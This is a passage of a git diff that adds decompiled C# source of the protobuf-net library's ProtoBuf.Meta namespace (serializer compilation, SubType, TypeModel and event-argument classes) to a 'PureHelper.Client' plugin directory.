il.Emit(OpCodes.Ldarg_1); + il.Emit(OpCodes.Ldloca_S, local); + il.EmitCall(OpCodes.Callvirt, knownTypesLookupType.GetMethod("TryGetValue", BindingFlags.Instance | BindingFlags.Public), null); + il.Emit(OpCodes.Brfalse_S, label2); + il.Emit(OpCodes.Ldloc_S, local); + il.Emit(OpCodes.Ret); + il.MarkLabel(label2); + il.Emit(OpCodes.Ldc_I4_M1); + il.Emit(OpCodes.Ret); + break; + } + case 3: + { + Label label = il.DefineLabel(); + il.Emit(OpCodes.Ldsfld, knownTypes); + il.Emit(OpCodes.Ldarg_1); + il.EmitCall(OpCodes.Callvirt, knownTypesLookupType.GetProperty("Item").GetGetMethod(), null); + il.Emit(OpCodes.Dup); + il.Emit(OpCodes.Brfalse_S, label); + if (ilVersion == CompilerContext.ILVersion.Net1) + { + il.Emit(OpCodes.Unbox, MapType(typeof(int))); + il.Emit(OpCodes.Ldobj, MapType(typeof(int))); + } + else + { + il.Emit(OpCodes.Unbox_Any, MapType(typeof(int))); + } + il.Emit(OpCodes.Ret); + il.MarkLabel(label); + il.Emit(OpCodes.Pop); + il.Emit(OpCodes.Ldc_I4_M1); + il.Emit(OpCodes.Ret); + break; + } + default: + throw new InvalidOperationException(); + } + } + + private void WriteSerializers(CompilerOptions options, string assemblyName, TypeBuilder type, out int index, out bool hasInheritance, out SerializerPair[] methodPairs, out CompilerContext.ILVersion ilVersion) + { + index = 0; + hasInheritance = false; + methodPairs = new SerializerPair[types.Count]; + BasicList.NodeEnumerator enumerator = types.GetEnumerator(); + while (enumerator.MoveNext()) + { + MetaType metaType = (MetaType)enumerator.Current; + MethodBuilder methodBuilder = type.DefineMethod("Write", MethodAttributes.Private | MethodAttributes.Static, CallingConventions.Standard, MapType(typeof(void)), new Type[2] + { + metaType.Type, + MapType(typeof(ProtoWriter)) + }); + MethodBuilder methodBuilder2 = type.DefineMethod("Read", MethodAttributes.Private | MethodAttributes.Static, CallingConventions.Standard, metaType.Type, new Type[2] + { + metaType.Type, + MapType(typeof(ProtoReader)) + }); + SerializerPair serializerPair = new SerializerPair(GetKey(metaType.Type, demand: true, getBaseKey: false), GetKey(metaType.Type, demand: true, getBaseKey: true), metaType, methodBuilder, methodBuilder2, methodBuilder.GetILGenerator(), methodBuilder2.GetILGenerator()); + methodPairs[index++] = serializerPair; + if (serializerPair.MetaKey != serializerPair.BaseKey) + { + hasInheritance = true; + } + } + if (hasInheritance) + { + Array.Sort(methodPairs); + } + ilVersion = CompilerContext.ILVersion.Net2; + if (options.MetaDataVersion == 65536) + { + ilVersion = CompilerContext.ILVersion.Net1; + } + for (index = 0; index < methodPairs.Length; index++) + { + SerializerPair serializerPair2 = methodPairs[index]; + CompilerContext compilerContext = new CompilerContext(serializerPair2.SerializeBody, isStatic: true, isWriter: true, methodPairs, this, ilVersion, assemblyName, serializerPair2.Type.Type, "SerializeImpl " + serializerPair2.Type.Type.Name); + MemberInfo member = serializerPair2.Deserialize.ReturnType; + compilerContext.CheckAccessibility(ref member); + serializerPair2.Type.Serializer.EmitWrite(compilerContext, compilerContext.InputValue); + compilerContext.Return(); + compilerContext = new CompilerContext(serializerPair2.DeserializeBody, isStatic: true, isWriter: false, methodPairs, this, ilVersion, assemblyName, serializerPair2.Type.Type, "DeserializeImpl " + serializerPair2.Type.Type.Name); + serializerPair2.Type.Serializer.EmitRead(compilerContext, compilerContext.InputValue); + if (!serializerPair2.Type.Serializer.ReturnsValue) + { + compilerContext.LoadValue(compilerContext.InputValue); + } + compilerContext.Return(); + } + } + + private TypeBuilder WriteBasicTypeModel(CompilerOptions options, string typeName, ModuleBuilder module) + { + Type type = MapType(typeof(TypeModel)); + TypeAttributes typeAttributes = (type.Attributes & ~TypeAttributes.Abstract) | TypeAttributes.Sealed; + if (options.Accessibility == Accessibility.Internal) + { + typeAttributes &= ~TypeAttributes.Public; + } + return module.DefineType(typeName, typeAttributes, type); + } + + private void WriteAssemblyAttributes(CompilerOptions options, string assemblyName, AssemblyBuilder asm) + { + if (!string.IsNullOrEmpty(options.TargetFrameworkName)) + { + Type type = null; + try + { + type = GetType("System.Runtime.Versioning.TargetFrameworkAttribute", Helpers.GetAssembly(MapType(typeof(string)))); + } + catch + { + } + if ((object)type != null) + { + PropertyInfo[] namedProperties; + object[] propertyValues; + if (string.IsNullOrEmpty(options.TargetFrameworkDisplayName)) + { + namedProperties = new PropertyInfo[0]; + propertyValues = new object[0]; + } + else + { + namedProperties = new PropertyInfo[1] { type.GetProperty("FrameworkDisplayName") }; + propertyValues = new object[1] { options.TargetFrameworkDisplayName }; + } + CustomAttributeBuilder customAttribute = new CustomAttributeBuilder(type.GetConstructor(new Type[1] { MapType(typeof(string)) }), new object[1] { options.TargetFrameworkName }, namedProperties, propertyValues); + asm.SetCustomAttribute(customAttribute); + } + } + Type type2 = null; + try + { + type2 = MapType(typeof(InternalsVisibleToAttribute)); + } + catch + { + } + if ((object)type2 != null) + { + BasicList basicList = new BasicList(); + BasicList basicList2 = new BasicList(); + BasicList.NodeEnumerator enumerator = types.GetEnumerator(); + while (enumerator.MoveNext()) + { + MetaType metaType = (MetaType)enumerator.Current; + Assembly assembly = Helpers.GetAssembly(metaType.Type); + if (basicList2.IndexOfReference(assembly) >= 0) + { + continue; + } + basicList2.Add(assembly); + AttributeMap[] array = AttributeMap.Create(this, assembly); + for (int i = 0; i < array.Length; i++) + { + if ((object)array[i].AttributeType == type2) + { + array[i].TryGet("AssemblyName", out var value); + string text = value as string; + if (!(text == assemblyName) && !string.IsNullOrEmpty(text) && basicList.IndexOfString(text) < 0) + { + basicList.Add(text); + CustomAttributeBuilder customAttribute2 = new CustomAttributeBuilder(type2.GetConstructor(new Type[1] { MapType(typeof(string)) }), new object[1] { text }); + asm.SetCustomAttribute(customAttribute2); + } + } + } + } + } + WriteAssemblyInfoAttributes(options, asm); + } + + private void WriteAssemblyInfoAttributes(CompilerOptions options, AssemblyBuilder asm) + { + WriteAssemblyInfoAttribute(options, asm, options.AssemblyVersion?.ToString()); + WriteAssemblyInfoAttribute(options, asm, options.AssemblyCompanyName); + WriteAssemblyInfoAttribute(options, asm, options.AssemblyCopyright); + WriteAssemblyInfoAttribute(options, asm, options.AssemblyDescription); + WriteAssemblyInfoAttribute(options, asm, options.AssemblyProductName); + WriteAssemblyInfoAttribute(options, asm, options.AssemblyTitle); + WriteAssemblyInfoAttribute(options, asm, options.AssemblyTrademark); + WriteAssemblyInfoAttribute(options, asm, options.AssemblyProductVersion?.ToString()); + asm.DefineVersionInfoResource(); + } + + private void WriteAssemblyInfoAttribute(CompilerOptions options, AssemblyBuilder asm, string value) + { + if (!string.IsNullOrEmpty(value)) + { + Type typeFromHandle = typeof(TA); + Type[] array = new Type[1] { typeof(string) }; + ConstructorInfo constructor = typeFromHandle.GetConstructor(array); + CustomAttributeBuilder customAttribute = new CustomAttributeBuilder(constructor, new object[1] { value }); + asm.SetCustomAttribute(customAttribute); + } + } + + private static MethodBuilder EmitBoxedSerializer(TypeBuilder type, int i, Type valueType, SerializerPair[] methodPairs, TypeModel model, CompilerContext.ILVersion ilVersion, string assemblyName) + { + MethodInfo deserialize = methodPairs[i].Deserialize; + MethodBuilder methodBuilder = type.DefineMethod("_" + i, MethodAttributes.Static, CallingConventions.Standard, model.MapType(typeof(object)), new Type[2] + { + model.MapType(typeof(object)), + model.MapType(typeof(ProtoReader)) + }); + CompilerContext compilerContext = new CompilerContext(methodBuilder.GetILGenerator(), isStatic: true, isWriter: false, methodPairs, model, ilVersion, assemblyName, model.MapType(typeof(object)), "BoxedSerializer " + valueType.Name); + compilerContext.LoadValue(compilerContext.InputValue); + CodeLabel label = compilerContext.DefineLabel(); + compilerContext.BranchIfFalse(label, @short: true); + compilerContext.LoadValue(compilerContext.InputValue); + compilerContext.CastFromObject(valueType); + compilerContext.LoadReaderWriter(); + compilerContext.EmitCall(deserialize); + compilerContext.CastToObject(valueType); + compilerContext.Return(); + compilerContext.MarkLabel(label); + using Local local = new Local(compilerContext, valueType); + compilerContext.LoadAddress(local, valueType); + compilerContext.EmitCtor(valueType); + compilerContext.LoadValue(local); + compilerContext.LoadReaderWriter(); + compilerContext.EmitCall(deserialize); + compilerContext.CastToObject(valueType); + compilerContext.Return(); + return methodBuilder; + } + + internal bool IsPrepared(Type type) + { + return FindWithoutAdd(type)?.IsPrepared() ?? false; + } + + internal EnumSerializer.EnumPair[] GetEnumMap(Type type) + { + int num = FindOrAddAuto(type, demand: false, addWithContractOnly: false, addEvenIfAutoDisabled: false); + if (num >= 0) + { + return ((MetaType)types[num]).GetEnumMap(); + } + return null; + } + + internal void TakeLock(ref int opaqueToken) + { + opaqueToken = 0; + if (Monitor.TryEnter(types, metadataTimeoutMilliseconds)) + { + opaqueToken = GetContention(); + return; + } + AddContention(); + throw new TimeoutException("Timeout while inspecting metadata; this may indicate a deadlock. This can often be avoided by preparing necessary serializers during application initialization, rather than allowing multiple threads to perform the initial metadata inspection; please also see the LockContended event"); + } + + private int GetContention() + { + return Interlocked.CompareExchange(ref contentionCounter, 0, 0); + } + + private void AddContention() + { + Interlocked.Increment(ref contentionCounter); + } + + internal void ReleaseLock(int opaqueToken) + { + if (opaqueToken == 0) + { + return; + } + Monitor.Exit(types); + if (opaqueToken == GetContention()) + { + return; + } + LockContentedEventHandler lockContentedEventHandler = this.LockContended; + if (lockContentedEventHandler != null) + { + string stackTrace; + try + { + throw new ProtoException(); + } + catch (Exception ex) + { + stackTrace = ex.StackTrace; + } + lockContentedEventHandler(this, new LockContentedEventArgs(stackTrace)); + } + } + + internal void ResolveListTypes(Type type, ref Type itemType, ref Type defaultType) + { + if ((object)type == null || Helpers.GetTypeCode(type) != ProtoTypeCode.Unknown) + { + return; + } + if (type.IsArray) + { + if (type.GetArrayRank() != 1) + { + throw new NotSupportedException("Multi-dimension arrays are supported"); + } + itemType = type.GetElementType(); + if ((object)itemType == MapType(typeof(byte))) + { + defaultType = (itemType = null); + } + else + { + defaultType = type; + } + } + else if (this[type].IgnoreListHandling) + { + return; + } + if ((object)itemType == null) + { + itemType = TypeModel.GetListItemType(this, type); + } + if ((object)itemType != null) + { + Type itemType2 = null; + Type defaultType2 = null; + ResolveListTypes(itemType, ref itemType2, ref defaultType2); + if ((object)itemType2 != null) + { + throw TypeModel.CreateNestedListsNotSupported(type); + } + } + if ((object)itemType == null || (object)defaultType != null) + { + return; + } + if (type.IsClass && !type.IsAbstract && (object)Helpers.GetConstructor(type, Helpers.EmptyTypes, nonPublic: true) != null) + { + defaultType = type; + } + if ((object)defaultType == null && type.IsInterface) + { + Type[] genericArguments; + if (type.IsGenericType && (object)type.GetGenericTypeDefinition() == MapType(typeof(IDictionary<, >)) && (object)itemType == MapType(typeof(KeyValuePair<, >)).MakeGenericType(genericArguments = type.GetGenericArguments())) + { + defaultType = MapType(typeof(Dictionary<, >)).MakeGenericType(genericArguments); + } + else + { + defaultType = MapType(typeof(List<>)).MakeGenericType(itemType); + } + } + if ((object)defaultType != null && !Helpers.IsAssignableFrom(type, defaultType)) + { + defaultType = null; + } + } + + internal string GetSchemaTypeName(Type effectiveType, DataFormat dataFormat, bool asReference, bool dynamicType, ref CommonImports imports) + { + Type underlyingType = Helpers.GetUnderlyingType(effectiveType); + if ((object)underlyingType != null) + { + effectiveType = underlyingType; + } + if ((object)effectiveType == MapType(typeof(byte[]))) + { + return "bytes"; + } + WireType defaultWireType; + IProtoSerializer protoSerializer = ValueMember.TryGetCoreSerializer(this, dataFormat, effectiveType, out defaultWireType, asReference: false, dynamicType: false, overwriteList: false, allowComplexTypes: false); + if (protoSerializer == null) + { + if (asReference || dynamicType) + { + imports |= CommonImports.Bcl; + return ".bcl.NetObjectProxy"; + } + return this[effectiveType].GetSurrogateOrBaseOrSelf(deep: true).GetSchemaTypeName(); + } + if (protoSerializer is ParseableSerializer) + { + if (asReference) + { + imports |= CommonImports.Bcl; + } + if (!asReference) + { + return "string"; + } + return ".bcl.NetObjectProxy"; + } + switch (Helpers.GetTypeCode(effectiveType)) + { + case ProtoTypeCode.Boolean: + return "bool"; + case ProtoTypeCode.Single: + return "float"; + case ProtoTypeCode.Double: + return "double"; + case ProtoTypeCode.String: + if (asReference) + { + imports |= CommonImports.Bcl; + } + if (!asReference) + { + return "string"; + } + return ".bcl.NetObjectProxy"; + case ProtoTypeCode.Char: + case ProtoTypeCode.Byte: + case ProtoTypeCode.UInt16: + case ProtoTypeCode.UInt32: + if (dataFormat == DataFormat.FixedSize) + { + return "fixed32"; + } + return "uint32"; + case ProtoTypeCode.SByte: + case ProtoTypeCode.Int16: + case ProtoTypeCode.Int32: + return dataFormat switch + { + DataFormat.ZigZag => "sint32", + DataFormat.FixedSize => "sfixed32", + _ => "int32", + }; + case ProtoTypeCode.UInt64: + if (dataFormat == DataFormat.FixedSize) + { + return "fixed64"; + } + return "uint64"; + case ProtoTypeCode.Int64: + return dataFormat switch + { + DataFormat.ZigZag => "sint64", + DataFormat.FixedSize => "sfixed64", + _ => "int64", + }; + case ProtoTypeCode.DateTime: + switch (dataFormat) + { + case DataFormat.FixedSize: + return "sint64"; + case DataFormat.WellKnown: + imports |= CommonImports.Timestamp; + return ".google.protobuf.Timestamp"; + default: + imports |= CommonImports.Bcl; + return ".bcl.DateTime"; + } + case ProtoTypeCode.TimeSpan: + switch (dataFormat) + { + case DataFormat.FixedSize: + return "sint64"; + case DataFormat.WellKnown: + imports |= CommonImports.Duration; + return ".google.protobuf.Duration"; + default: + imports |= CommonImports.Bcl; + return ".bcl.TimeSpan"; + } + case ProtoTypeCode.Decimal: + imports |= CommonImports.Bcl; + return ".bcl.Decimal"; + case ProtoTypeCode.Guid: + imports |= CommonImports.Bcl; + return ".bcl.Guid"; + case ProtoTypeCode.Type: + return "string"; + default: + throw new NotSupportedException("No .proto map found for: " + effectiveType.FullName); + } + } + + public void SetDefaultFactory(MethodInfo methodInfo) + { + VerifyFactory(methodInfo, null); + defaultFactory = methodInfo; + } + + internal void VerifyFactory(MethodInfo factory, Type type) + { + if ((object)factory != null) + { + if ((object)type != null && Helpers.IsValueType(type)) + { + throw new InvalidOperationException(); + } + if (!factory.IsStatic) + { + throw new ArgumentException("A factory-method must be static", "factory"); + } + if ((object)type != null && (object)factory.ReturnType != type && (object)factory.ReturnType != MapType(typeof(object))) + { + throw new ArgumentException("The factory-method must return object" + (((object)type == null) ? "" : (" or " + type.FullName)), "factory"); + } + if (!CallbackSet.CheckCallbackParameters(this, factory)) + { + throw new ArgumentException("Invalid factory signature in " + factory.DeclaringType.FullName + "." + factory.Name, "factory"); + } + } + } + + internal static void OnBeforeApplyDefaultBehaviour(MetaType metaType, ref TypeAddedEventArgs args) + { + OnApplyDefaultBehaviour((metaType?.Model as RuntimeTypeModel)?.BeforeApplyDefaultBehaviour, metaType, ref args); + } + + internal static void OnAfterApplyDefaultBehaviour(MetaType metaType, ref TypeAddedEventArgs args) + { + OnApplyDefaultBehaviour((metaType?.Model as RuntimeTypeModel)?.AfterApplyDefaultBehaviour, metaType, ref args); + } + + private static void OnApplyDefaultBehaviour(EventHandler handler, MetaType metaType, ref TypeAddedEventArgs args) + { + if (handler != null) + { + if (args == null) + { + args = new TypeAddedEventArgs(metaType); + } + handler(metaType.Model, args); + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/SubType.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/SubType.cs new file mode 100644 index 0000000..9ea5a9f --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/SubType.cs @@ -0,0 +1,99 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using ProtoBuf.Serializers; + +namespace ProtoBuf.Meta; + +public sealed class SubType +{ + internal sealed class Comparer : IComparer, IComparer + { + public static readonly Comparer Default = new Comparer(); + + public int Compare(object x, object y) + { + return Compare(x as SubType, y as SubType); + } + + public int Compare(SubType x, SubType y) + { + if (x == y) + { + return 0; + } + if (x == null) + { + return -1; + } + if (y == null) + { + return 1; + } + return x.FieldNumber.CompareTo(y.FieldNumber); + } + } + + private int _fieldNumber; + + private readonly MetaType derivedType; + + private readonly DataFormat dataFormat; + + private IProtoSerializer serializer; + + public int FieldNumber + { + get + { + return _fieldNumber; + } + internal set + { + if (_fieldNumber != value) + { + MetaType.AssertValidFieldNumber(value); + ThrowIfFrozen(); + _fieldNumber = value; + } + } + } + + public MetaType DerivedType => derivedType; + + internal IProtoSerializer Serializer => serializer ?? (serializer = BuildSerializer()); + + private void ThrowIfFrozen() + { + if (serializer != null) + { + throw new InvalidOperationException("The type cannot be changed once a serializer has been generated"); + } + } + + public SubType(int fieldNumber, MetaType derivedType, DataFormat format) + { + if (derivedType == null) + { + throw new ArgumentNullException("derivedType"); + } + if (fieldNumber <= 0) + { + throw new ArgumentOutOfRangeException("fieldNumber"); + } + _fieldNumber = fieldNumber; + this.derivedType = derivedType; + dataFormat = format; + } + + private IProtoSerializer BuildSerializer() + { + WireType wireType = WireType.String; + if (dataFormat == DataFormat.Group) + { + wireType = WireType.StartGroup; + } + IProtoSerializer tail = new SubItemSerializer(derivedType.Type, derivedType.GetKey(demand: false, getBaseKey: false), derivedType, recursionCheck: false); + return new TagDecorator(_fieldNumber, wireType, strict: false, tail); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/TypeAddedEventArgs.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/TypeAddedEventArgs.cs new file mode 100644 index 0000000..2d5f7e5 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/TypeAddedEventArgs.cs @@ -0,0 +1,20 @@ +using System; + +namespace ProtoBuf.Meta; + +public sealed class TypeAddedEventArgs : EventArgs +{ + public bool ApplyDefaultBehaviour { get; set; } + + public MetaType MetaType { get; } + + public Type Type => MetaType.Type; + + public RuntimeTypeModel Model => MetaType.Model as RuntimeTypeModel; + + internal TypeAddedEventArgs(MetaType metaType) + { + MetaType = metaType; + ApplyDefaultBehaviour = true; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/TypeFormatEventArgs.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/TypeFormatEventArgs.cs new file mode 100644 index 0000000..3f306d5 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/TypeFormatEventArgs.cs @@ -0,0 +1,65 @@ +using System; + +namespace ProtoBuf.Meta; + +public class TypeFormatEventArgs : EventArgs +{ + private Type type; + + private string formattedName; + + private readonly bool typeFixed; + + public Type Type + { + get + { + return type; + } + set + { + if ((object)type != value) + { + if (typeFixed) + { + throw new InvalidOperationException("The type is fixed and cannot be changed"); + } + type = value; + } + } + } + + public string FormattedName + { + get + { + return formattedName; + } + set + { + if (formattedName != value) + { + if (!typeFixed) + { + throw new InvalidOperationException("The formatted-name is fixed and cannot be changed"); + } + formattedName = value; + } + } + } + + internal TypeFormatEventArgs(string formattedName) + { + if (string.IsNullOrEmpty(formattedName)) + { + throw new ArgumentNullException("formattedName"); + } + this.formattedName = formattedName; + } + + internal TypeFormatEventArgs(Type type) + { + this.type = type ?? throw new ArgumentNullException("type"); + typeFixed = true; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/TypeFormatEventHandler.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/TypeFormatEventHandler.cs new file mode 100644 index 0000000..4eea203 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/TypeFormatEventHandler.cs @@ -0,0 +1,3 @@ +namespace ProtoBuf.Meta; + +public delegate void TypeFormatEventHandler(object sender, TypeFormatEventArgs args); diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/TypeModel.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/TypeModel.cs new file mode 100644 index 0000000..289dd7b --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/TypeModel.cs @@ -0,0 +1,1423 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.Serialization; + +namespace ProtoBuf.Meta; + +public abstract class TypeModel : IProtoInput, IProtoInput>, IProtoInput, IProtoOutput +{ + private sealed class DeserializeItemsIterator : DeserializeItemsIterator, IEnumerator, IDisposable, IEnumerator, IEnumerable, IEnumerable + { + public new T Current => (T)base.Current; + + IEnumerator IEnumerable.GetEnumerator() + { + return this; + } + + void IDisposable.Dispose() + { + } + + public DeserializeItemsIterator(TypeModel model, Stream source, PrefixStyle style, int expectedField, SerializationContext context) + : base(model, source, model.MapType(typeof(T)), style, expectedField, null, context) + { + } + } + + private class DeserializeItemsIterator : IEnumerator, IEnumerable + { + private bool haveObject; + + private object current; + + private readonly Stream source; + + private readonly Type type; + + private readonly PrefixStyle style; + + private readonly int expectedField; + + private readonly Serializer.TypeResolver resolver; + + private readonly TypeModel model; + + private readonly SerializationContext context; + + public object Current => current; + + IEnumerator IEnumerable.GetEnumerator() + { + return this; + } + + public bool MoveNext() + { + if (haveObject) + { + current = model.DeserializeWithLengthPrefix(source, null, type, style, expectedField, resolver, out var _, out haveObject, context); + } + return haveObject; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + public DeserializeItemsIterator(TypeModel model, Stream source, Type type, PrefixStyle style, int expectedField, Serializer.TypeResolver resolver, SerializationContext context) + { + haveObject = true; + this.source = source; + this.type = type; + this.style = style; + this.expectedField = expectedField; + this.resolver = resolver; + this.model = model; + this.context = context; + } + } + + private readonly struct KnownTypeKey(Type type, int key) + { + public int Key { get; } = key; + + public Type Type { get; } = type; + } + + protected internal enum CallbackType + { + BeforeSerialize, + AfterSerialize, + BeforeDeserialize, + AfterDeserialize + } + + internal sealed class Formatter : IFormatter + { + private readonly TypeModel model; + + private readonly Type type; + + private SerializationBinder binder; + + private StreamingContext context; + + private ISurrogateSelector surrogateSelector; + + public SerializationBinder Binder + { + get + { + return binder; + } + set + { + binder = value; + } + } + + public StreamingContext Context + { + get + { + return context; + } + set + { + context = value; + } + } + + public ISurrogateSelector SurrogateSelector + { + get + { + return surrogateSelector; + } + set + { + surrogateSelector = value; + } + } + + internal Formatter(TypeModel model, Type type) + { + this.model = model ?? throw new ArgumentNullException("model"); + this.type = type ?? throw new ArgumentNullException("type"); + } + + public object Deserialize(Stream source) + { + return model.Deserialize(source, null, type, -1L, Context); + } + + public void Serialize(Stream destination, object graph) + { + model.Serialize(destination, graph, Context); + } + } + + private static readonly Type ilist = typeof(IList); + + private readonly Dictionary knownKeys = new Dictionary(); + + public event TypeFormatEventHandler DynamicTypeFormatting; + + protected internal virtual bool SerializeDateTimeKind() + { + return false; + } + + protected internal Type MapType(Type type) + { + return MapType(type, demand: true); + } + + protected internal virtual Type MapType(Type type, bool demand) + { + return type; + } + + private WireType GetWireType(ProtoTypeCode code, DataFormat format, ref Type type, out int modelKey) + { + modelKey = -1; + if (Helpers.IsEnum(type)) + { + modelKey = GetKey(ref type); + return WireType.Variant; + } + switch (code) + { + case ProtoTypeCode.Int64: + case ProtoTypeCode.UInt64: + if (format != DataFormat.FixedSize) + { + return WireType.Variant; + } + return WireType.Fixed64; + case ProtoTypeCode.Boolean: + case ProtoTypeCode.Char: + case ProtoTypeCode.SByte: + case ProtoTypeCode.Byte: + case ProtoTypeCode.Int16: + case ProtoTypeCode.UInt16: + case ProtoTypeCode.Int32: + case ProtoTypeCode.UInt32: + if (format != DataFormat.FixedSize) + { + return WireType.Variant; + } + return WireType.Fixed32; + case ProtoTypeCode.Double: + return WireType.Fixed64; + case ProtoTypeCode.Single: + return WireType.Fixed32; + case ProtoTypeCode.Decimal: + case ProtoTypeCode.DateTime: + case ProtoTypeCode.String: + case ProtoTypeCode.TimeSpan: + case ProtoTypeCode.ByteArray: + case ProtoTypeCode.Guid: + case ProtoTypeCode.Uri: + return WireType.String; + default: + if ((modelKey = GetKey(ref type)) >= 0) + { + return WireType.String; + } + return WireType.None; + } + } + + internal bool TrySerializeAuxiliaryType(ProtoWriter writer, Type type, DataFormat format, int tag, object value, bool isInsideList, object parentList) + { + if ((object)type == null) + { + type = value.GetType(); + } + ProtoTypeCode typeCode = Helpers.GetTypeCode(type); + int modelKey; + WireType wireType = GetWireType(typeCode, format, ref type, out modelKey); + if (modelKey >= 0) + { + if (Helpers.IsEnum(type)) + { + Serialize(modelKey, value, writer); + return true; + } + ProtoWriter.WriteFieldHeader(tag, wireType, writer); + switch (wireType) + { + case WireType.None: + throw ProtoWriter.CreateException(writer); + case WireType.String: + case WireType.StartGroup: + { + SubItemToken token = ProtoWriter.StartSubItem(value, writer); + Serialize(modelKey, value, writer); + ProtoWriter.EndSubItem(token, writer); + return true; + } + default: + Serialize(modelKey, value, writer); + return true; + } + } + if (wireType != WireType.None) + { + ProtoWriter.WriteFieldHeader(tag, wireType, writer); + } + switch (typeCode) + { + case ProtoTypeCode.Int16: + ProtoWriter.WriteInt16((short)value, writer); + return true; + case ProtoTypeCode.Int32: + ProtoWriter.WriteInt32((int)value, writer); + return true; + case ProtoTypeCode.Int64: + ProtoWriter.WriteInt64((long)value, writer); + return true; + case ProtoTypeCode.UInt16: + ProtoWriter.WriteUInt16((ushort)value, writer); + return true; + case ProtoTypeCode.UInt32: + ProtoWriter.WriteUInt32((uint)value, writer); + return true; + case ProtoTypeCode.UInt64: + ProtoWriter.WriteUInt64((ulong)value, writer); + return true; + case ProtoTypeCode.Boolean: + ProtoWriter.WriteBoolean((bool)value, writer); + return true; + case ProtoTypeCode.SByte: + ProtoWriter.WriteSByte((sbyte)value, writer); + return true; + case ProtoTypeCode.Byte: + ProtoWriter.WriteByte((byte)value, writer); + return true; + case ProtoTypeCode.Char: + ProtoWriter.WriteUInt16((char)value, writer); + return true; + case ProtoTypeCode.Double: + ProtoWriter.WriteDouble((double)value, writer); + return true; + case ProtoTypeCode.Single: + ProtoWriter.WriteSingle((float)value, writer); + return true; + case ProtoTypeCode.DateTime: + if (SerializeDateTimeKind()) + { + BclHelpers.WriteDateTimeWithKind((DateTime)value, writer); + } + else + { + BclHelpers.WriteDateTime((DateTime)value, writer); + } + return true; + case ProtoTypeCode.Decimal: + BclHelpers.WriteDecimal((decimal)value, writer); + return true; + case ProtoTypeCode.String: + ProtoWriter.WriteString((string)value, writer); + return true; + case ProtoTypeCode.ByteArray: + ProtoWriter.WriteBytes((byte[])value, writer); + return true; + case ProtoTypeCode.TimeSpan: + BclHelpers.WriteTimeSpan((TimeSpan)value, writer); + return true; + case ProtoTypeCode.Guid: + BclHelpers.WriteGuid((Guid)value, writer); + return true; + case ProtoTypeCode.Uri: + ProtoWriter.WriteString(((Uri)value).OriginalString, writer); + return true; + default: + if (value is IEnumerable enumerable) + { + if (isInsideList) + { + throw CreateNestedListsNotSupported(parentList?.GetType()); + } + foreach (object item in enumerable) + { + if (item == null) + { + throw new NullReferenceException(); + } + if (!TrySerializeAuxiliaryType(writer, null, format, tag, item, isInsideList: true, enumerable)) + { + ThrowUnexpectedType(item.GetType()); + } + } + return true; + } + return false; + } + } + + private void SerializeCore(ProtoWriter writer, object value) + { + if (value == null) + { + throw new ArgumentNullException("value"); + } + Type type = value.GetType(); + int key = GetKey(ref type); + if (key >= 0) + { + Serialize(key, value, writer); + } + else if (!TrySerializeAuxiliaryType(writer, type, DataFormat.Default, 1, value, isInsideList: false, null)) + { + ThrowUnexpectedType(type); + } + } + + public void Serialize(Stream dest, object value) + { + Serialize(dest, value, null); + } + + public void Serialize(Stream dest, object value, SerializationContext context) + { + using ProtoWriter protoWriter = ProtoWriter.Create(dest, this, context); + protoWriter.SetRootObject(value); + SerializeCore(protoWriter, value); + protoWriter.Close(); + } + + public void Serialize(ProtoWriter dest, object value) + { + if (dest == null) + { + throw new ArgumentNullException("dest"); + } + dest.CheckDepthFlushlock(); + dest.SetRootObject(value); + SerializeCore(dest, value); + dest.CheckDepthFlushlock(); + ProtoWriter.Flush(dest); + } + + public object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, int fieldNumber) + { + long bytesRead; + return DeserializeWithLengthPrefix(source, value, type, style, fieldNumber, (Serializer.TypeResolver)null, out bytesRead); + } + + public object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, int expectedField, Serializer.TypeResolver resolver) + { + long bytesRead; + return DeserializeWithLengthPrefix(source, value, type, style, expectedField, resolver, out bytesRead); + } + + public object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, int expectedField, Serializer.TypeResolver resolver, out int bytesRead) + { + long bytesRead2; + bool haveObject; + object result = DeserializeWithLengthPrefix(source, value, type, style, expectedField, resolver, out bytesRead2, out haveObject, null); + bytesRead = checked((int)bytesRead2); + return result; + } + + public object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, int expectedField, Serializer.TypeResolver resolver, out long bytesRead) + { + bool haveObject; + return DeserializeWithLengthPrefix(source, value, type, style, expectedField, resolver, out bytesRead, out haveObject, null); + } + + public object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, int expectedField, Serializer.TypeResolver resolver, out long bytesRead, SerializationContext context) + { + bool haveObject; + return DeserializeWithLengthPrefix(source, value, type, style, expectedField, resolver, out bytesRead, out haveObject, context); + } + + private object DeserializeWithLengthPrefix(Stream source, object value, Type type, PrefixStyle style, int expectedField, Serializer.TypeResolver resolver, out long bytesRead, out bool haveObject, SerializationContext context) + { + haveObject = false; + bytesRead = 0L; + if ((object)type == null && (style != PrefixStyle.Base128 || resolver == null)) + { + throw new 